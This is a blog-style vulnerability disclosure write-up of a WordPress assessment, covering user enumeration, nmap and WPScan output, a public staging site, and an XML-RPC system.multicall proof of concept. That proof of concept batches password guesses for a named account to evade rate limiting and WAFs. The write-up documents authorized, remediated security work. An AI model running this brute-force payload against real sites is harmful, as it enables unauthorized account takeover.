wordpress xml-rpc vulnerability on a gov't contractor

wordpress & its subsequent dangers

contents

#initial recon + user enum

went into this with hackthebox methodology/mindset, since im not a bug bounty hunter (though i'd love to improve at it one day of course)

wap
no immediately exploitable CVEs sadly

manual enumeration revealed the following security issues:

  • user enumeration works
river@arch:~ $ curl -s "https://<SITE>.com/?author=1" -L | grep -i "author|redirect"

<title><REDACTED>, Author at <REDACTED></title>
        <link rel="canonical" href="https://<SITE>.com/author/admin/" />
        <link rel="next" href="https://<SITE>.com/author/admin/page/2/" />
        <meta property="og:title" content="<REDACTED, Author at <REDACTED>" />
        <meta property="og:url" content="https://<SITE>.com/author/admin/" />

 
  • xml-rpc is disabled
  • password reset url: /dev-login/?action=lostpassword
  • wp-config backups blocked but with 403 (should be 404)
  • readme.html exposed (200) - should be 404

most significant issue identified during this phase was the working user enumeration capability. multiple valid usernames were successfully enumerated through this method.

#port scan + discovery

hit a brick wall with web-based enumeration, so went back to basics (NMAP)

river@arch:~ $ nmap -sV -sC -T4 <SITE>.com
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-09 12:49 -0500
Nmap scan report for <SITE>.com (172.67.213.5)
Host is up (0.033s latency).
Other addresses for <SITE>.com (not scanned): 104.21.77.239 2606:4700:3030::ac43:d505 2606:4700:3037::6815:4def
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Cloudflare http proxy
|_http-title: Did not follow redirect to https://<SITE>.com/
|_http-server-header: cloudflare
443/tcp  open  ssl/http Cloudflare http proxy
|_http-title: Home - <REDACTED>
|_http-generator: WordPress 6.8.3
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=<SITE>.com
| Subject Alternative Name: DNS:<SITE>.com, DNS:*.<SITE>.com
| Not valid before: 2025-10-16T11:21:36
|_Not valid after:  2026-01-14T12:20:04
|_http-server-header: cloudflare
8080/tcp open  http     Cloudflare http proxy
|_http-server-header: cloudflare
|_http-title: Did not follow redirect to https://<SITE>.com:8080/
8443/tcp open  ssl/http Cloudflare http proxy
|_http-server-header: cloudflare
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=<SITE>.com
| Subject Alternative Name: DNS:<SITE>.com, DNS:*.<SITE>.com
| Not valid before: 2025-10-16T11:21:36
|_Not valid after:  2026-01-14T12:20:04
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.08 seconds
  • ports 8080 and 8443 were discovered in an open state
  • a wildcard SSL certificate (*.<SITE>.com) was observed, indicating the potential presence of subdomains

#subdomain enumeration and Discovery

cba to use feroxbuster so just went with classic dorking

dorking
staging branch is literally public ???

#poking around staging branch

at some point realized some mismatched wordpress versions

eventually poked around enough to find xml-rpc

river@arch:~ $ curl -X POST https://staging.<SITE>.com/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>

#xml-rpc security implications

from claude:
XML-RPC (Extensible Markup Language Remote Procedure Call) is a legacy protocol that enables remote function calls using XML for encoding and HTTP as the transport mechanism. While XML-RPC provides various functionalities, this analysis focuses specifically on the system.multicall() method due to its security implications.

#system.multicall() Attack Vector

the system.multicall() function allows multiple remote procedure calls to be batched into a single HTTP request. this can be abused to bypass rate limiting and intrusion detection systems

example:
traditional brute-force attack: 100 password attempts = 100 individual HTTP requests, which triggers rate limiting and detection mechanisms

with system.multicall(): 100 password attempts = 1 HTTP request, effectively bypassing security controls:

<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param><array><data>
      <value><struct>
        <member><name>methodName</name><value>wp.getUsersBlogs</value></member>
        <member><name>params</name><value><array>
          <data><value>admin</value><value>password1</value></data>
        </array></value></member>
      </struct></value>
      <!-- Repeat for password2, password3... password100 -->
    </data></array></param>
  </params>
</methodCall>

this would also bypass a WAF

#proof of concept

river@arch:~ $ curl -s -X POST https://staging.<SITE>.com/xmlrpc.php -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <value><struct>
              <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
              <member><name>params</name><value><array><data>
                <value><string>interndev</string></value>
                <value><string>admin123</string></value>
              </data></array></value></member>
            </struct></value>
            <value><struct>
              <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
              <member><name>params</name><value><array><data>
                <value><string>interndev</string></value>
                <value><string>test123</string></value>
              </data></array></value></member>
            </struct></value>
            <value><struct>
              <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
              <member><name>params</name><value><array><data>
                <value><string>interndev</string></value>
                <value><string>password123</string></value>
              </data></array></value></member>
            </struct></value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodCall>'
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

#additional User Enumeration via WPScan

wpscan --url https://staging.<SITE>.com --enumerate u --plugins-detection passive --random-user-agent
[+] XML-RPC seems to be enabled: https://staging.<SITE>.com/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: https://staging.<SITE>.com/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
[+] The external WP-Cron seems to be enabled: https://staging.<SITE>.com/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.7.4 identified (Outdated, released on 2025-09-30).
 | Found By: Rss Generator (Passive Detection)
 |  - https://staging.<SITE>.com/feed/, <generator>https://wordpress.org/?v=6.7.4</generator>
 |  - https://staging.<SITE>.com/comments/feed/, <generator>https://wordpress.org/?v=6.7.4</generator>
[i] User(s) Identified:
[+] <REDACTED>
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)
[+] <REDACTED>
 | Found By: Wp Json Api (Aggressive Detection)
 |  - https://staging.<SITE>.com/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] <REDACTED>
 | Found By: Wp Json Api (Aggressive Detection)
 |  - https://staging.<SITE>.com/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Oembed API - Author URL (Aggressive Detection)
 |   - https://staging.<SITE>.com/wp-json/oembed/1.0/embed?url=https://staging.<SITE>.com/&format=json
 |  Yoast Seo Author Sitemap (Aggressive Detection)
 |   - https://staging.<SITE>.com/author-sitemap.xml
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] <REDACTED>
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] <REDACTED>
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
---

WPScan results confirmed:

  • four distinct user accounts were enumerated
  • xml-rpc functionality was verified as enabled (should have just done this from the start, in retrospect)
  • multiple enumeration vectors were available (RSS feeds, JSON API, Author sitemaps)

when combined with the system.multicall() amplification capability, this configuration presents a significant security risk for credential brute-force attacks.

#disclosure

This vulnerability was responsibly disclosed to the affected organization and has been remediated. Public disclosure was authorized following the resolution of all identified security issues.